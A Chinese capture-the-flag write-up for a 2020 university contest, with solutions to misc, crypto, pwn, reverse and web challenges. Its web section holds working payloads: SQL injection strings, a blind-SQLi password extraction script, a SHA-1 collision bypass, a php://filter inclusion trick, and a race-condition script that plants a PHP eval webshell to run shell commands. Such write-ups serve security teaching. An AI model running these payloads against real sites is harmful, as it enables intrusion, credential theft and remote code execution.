Cumt2020九月校赛 by 水一水

以前的wp,重新上传下 !__!

MSIC

连签到都算不上

题目给出一个压缩包,看到里面txt,猜是base64加密后图片,解码后得到一个二维码,然后扫码得到\u开头的字符串,用java输出得到字符串,再用核心价值观解码,得到flag。

真·签到题

题目给了一个压缩包,猜测是伪加密。考虑到伪加密在kali,mac等系统中可直接打开。于是将压缩包拖到虚拟机中解压。

img

得到一个图片,将它放到winhex中分析发现最后有一串base64加密的字符串。

img

Base64解密得到:EWOVEVH{U1ip_kp_uweeguuhw11a!} 

对比CUMTCTF{,,,}格式可以发现,将该字符串字母左移两位即可得到flag。

img

兔兔那么可爱

题目给了一张图片和一个不知道什么格式的flag文件,根据hint,图片没什么用,将flag文件用txt打开,发现第12358个字符组成CUMTCT,猜测是斐波那契数列,于是写python脚本将对应位置的字符打印出来得到flag。

img

别做题了听歌吧

题目给了一个MP3文件,应该是音频隐写,用工具MP3Stego,根据题目的提示“别问,问就是cumt”,猜测cumt是密码,于是解密得到

img

这样一个txt,打开发现是一堆长短不一的空白格,将其转换成Morse编码,有

img

解码得到M0RS38MORSE8M0RS38MORSE8M0RSE8AND8MP3ST39O

加上格式CUMTCTF{M0RS38MORSE8M0RS38MORSE8M0RSE8AND8MP3ST39O}即为flag

CRYPTO

幼儿园的密码题

题目直接给出e,c,n

img

解出p,q

img

然后得到flag。

小学生的密码题

阅读Python代码,显然最后编码后的结果以0为分界线,由于print去除了最后末尾的0,补全后,编码结果应该为:

```

21088410841088402108840420888888821088810888884210888888410888421088881088888820888841088842108820888881088884210888880888888408888888410

```

如果逆向出发未免太烦了,考虑到对于每个字符的编码函数为:

    res = ""

​    if i >= 8:

​      res += int(i/8)*"8"

​     if i%8 >=4:

​      res += int(i%8/4)*"4"

​    if i%4 >=2:

​      res += int(i%4/2)*"2"

​    if i%2 >= 1:

​      res += int(i%2/1)*"1"

将其处理成函数,将0-127的字符全部进行编码,形成哈希映射。

对编码后的结果以0为分隔符分割,得到list,而后迭代获取对应则得到了flag。

PWN

test_nc

直接用nc连接上题目给的端口,肯定自己是个女生,然后得到学长base64加密的联系方式和密码,解密后,加上学长,然后就可以得到flag了。

Babystack

将题目文件拖进IDA然后简单分析,得到只要回答1_love_y0u就可以拿到shell,cat flag就行了

img

RE

re1-连个签到的分都不给你

直接拖进IDA用shift+f12查看字符串得到flag

img

re2-兄弟们快来帮帮萄萄

根据题目提示,下载相应的upx版本,对题目文件进行脱壳,拖进IDA然后同第一题,直接shift+f12查看字符串得到flag

re3-python题禁止py

根据题目python字节码反向写出python代码

img

Web

Web签到

按照题目要求,构造GET 1和POST 2的语句

img

然后题目给出源码

直接加上file=flag.php

发现flag

img

Babysqli

通过测试,发现空格和and会被检测,空格用/**/代替

通过union select挨个测试,发现长度为8,而且4有回显,

在4的位置直接用构造sql语句

img

得到flag:CUMTCTF{27ec8034-c9fe-0cfd-d92a-84362ecf0e42}

Secret

打开发现是个图片,保存下来,用winhex打开,发现里面有php代码,保存下来(也能直接扫到www.zip,)

<!DOCTYPE html>
<html ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <title>Secret?</title>
        <h1>The dream of a great singer</h1>
<img src="./secret.jpg"  alt="The dream of a great singer" />
</html>
<?php
error_reporting(0);
include_once('flag.php');
if(isset($_GET['param1']))
{
    $str1=$_GET['param1'];
    if(file_get_contents($str1)!=='Suvin_wants_a_girlfriend')
        die("Suvin doesn't like you");
    if(isset($_GET['param2'])){
        $str2=$_GET['param2'];
        if(!is_numeric($str2))
            die('Suvin prefers strings of Numbers');
        else if($str2<3600*24*30)
            die('Suvin says the num is too short');
        else if($str2>3600*24*31)
            die('Suvin says the num is too long');
        else {
            echo "Suvin says he's falling in love with you!"."</br>";
            sleep(intval($str2)); 
        }
        if (isset($_POST['param1']) && isset($_POST['param2'])) {
            $str1=$_POST['param1'];
            $str2=$_POST['param2'];
            if(strlen($str1)>1000)
                die("It's too long");
            if(((string)$str1!==(string)$str2)&&(sha1($str1)===sha1($str2)))
                echo $flag;
            else 
                die("It's so similar to md5");
        }
    }
}
?>

用burpsuite抓包

利用data:协议绕过第一个die,利用16进制把2,592,001转变成0x278d01绕过第二个die,

最后一个绕过sha1,由于string转换了下,所以不能用数组绕过,直接找sha1碰撞,谷歌放出了第一例sha1碰撞

分析

payload:

http://202.119.201.197:13005/?param1=data:text/plain,Suvin_wants_a_girlfriend&param2=0x278d01


POST:
param1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&param2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

Babysqli2

本题中对单引号进行了禁用,利用转义使用后面password的单引号进行闭合,

空格使用/**/替代,使用or,left,right,ord避开ascii和substr函数的禁用

img

构建python脚本

import requests

s = requests.Session()
url = 'http://202.119.201.197:13004/index.php'
flag = ''

def exp(i, j, z):
    payload = f"or/**/ord(right(left((select/**/password/**/from/**/users/**/limit/**/9,1),{i}),1))={j}#"
    #ord(right(left(database(),1),1))>0#
    #select username from security.users limit 0,1
    data = {
        "username": "1\\",
        "password": payload
    }
    r = s.post(url, data=data)
    if "Login success!" in r.text:
        return True
    else:
        return False

for z in range(0,8):
    flag = ''
    for x in range(1, 80):
        low = 0#32
        high = 127#127

        for i in range(low, high):
            if exp(x, i, z):
                flag += chr(i)
                print(flag)

                break
    print()

print(flag)

最终得到flag

img

简单的文件包含?

image-20200925201023539

使用client-ip构造127.0.0.1绕过

拿到源码:

<?php
if ($_SERVER['HTTP_CLIENT_IP'] != '127.0.0.1' && $_SERVER['HTTP_X_REAL_IP'] != '127.0.0.1'){
        if ($_SERVER['HTTP_X_FORWARDED_FOR'] == "127.0.0.1") {
            die("Do u think that I dont know X-Forwarded-For?<br>Too young too simple sometimes naive");
        }
        die("Sorry, this site is only optimized for those who comes from localhost");
    }
show_source(__FILE__);
include_once("flag.php");
if(isset($_POST['f'])) 
  include_once($_POST['f']);

简单的文件包含,但是之前已经包含了flag.php,include_once只能包含一次,所以要饶过他

分析链接

image-20200925201523855

payload:

http://202.119.201.197:13002/
POST:
f=php://filter/read=convert.base64-encode/resource=/x/../proc/self/cwd/flag.php

base64解码即可

Try:GET_file

包含session

参考:https://www.freebuf.com/vuls/202819.html

如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

利用条件竞争进行rce

#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('cat /tmp/7IDUrqGOt8PMATm852/flag.txt');"}
#data = {"cmd":"system('find / -name flag*');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://202.119.201.197:13077/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://202.119.201.197:13077/?file=/tmp/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值